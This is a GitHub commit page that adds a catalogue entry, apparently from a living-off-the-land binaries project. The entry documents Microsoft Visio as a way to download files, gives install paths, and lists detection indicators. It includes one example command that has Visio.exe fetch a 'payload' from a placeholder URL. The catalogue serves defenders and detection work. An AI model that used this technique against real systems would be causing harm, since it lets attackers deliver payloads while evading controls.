Skip to content

Commit

Permalink
Add Visio.exe as a downloader (#356)
Browse files Browse the repository at this point in the history
Co-authored-by: Wietze <wietze@users.noreply.github.com>
  • Loading branch information
avihayeldad and wietze authored Jun 5, 2024
1 parent 622aaee commit 35148cc
Showing 1 changed file with 34 additions and 0 deletions.
34 changes: 34 additions & 0 deletions yml/OtherMSBinaries/Visio.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
---
Name: Visio.exe
Description: Microsoft Visio Executable
Author: Avihay Eldad
Created: 2024-02-15
Commands:
- Command: Visio.exe https://example.com/payload
Description: Downloads payload from remote server
Usecase: It will download a remote payload and place it in INetCache.
Category: Download
Privileges: User
MitreID: T1105
OperatingSystem: Windows
Tags:
- Download: INetCache
Full_Path:
- Path: C:\Program Files (x86)\Microsoft Office\Office14\Visio.exe
- Path: C:\Program Files\Microsoft Office\Office14\Visio.exe
- Path: C:\Program Files (x86)\Microsoft Office\Office15\Visio.exe
- Path: C:\Program Files\Microsoft Office\Office15\Visio.exe
- Path: C:\Program Files (x86)\Microsoft Office\Office16\Visio.exe
- Path: C:\Program Files\Microsoft Office\Office16\Visio.exe
- Path: C:\Program Files (x86)\Microsoft Office\root\Office14\Visio.exe
- Path: C:\Program Files\Microsoft Office\root\Office14\Visio.exe
- Path: C:\Program Files (x86)\Microsoft Office\root\Office15\Visio.exe
- Path: C:\Program Files\Microsoft Office\root\Office15\Visio.exe
- Path: C:\Program Files (x86)\Microsoft Office\root\Office16\Visio.exe
- Path: C:\Program Files\Microsoft Office\root\Office16\Visio.exe
Detection:
- IOC: URL on a visio.exe command line
- IOC: visio.exe making unexpected network connections or DNS requests
Acknowledgement:
- Person: Avihay Eldad
Handle: '@AvihayEldad'

0 comments on commit 35148cc

Please sign in to comment.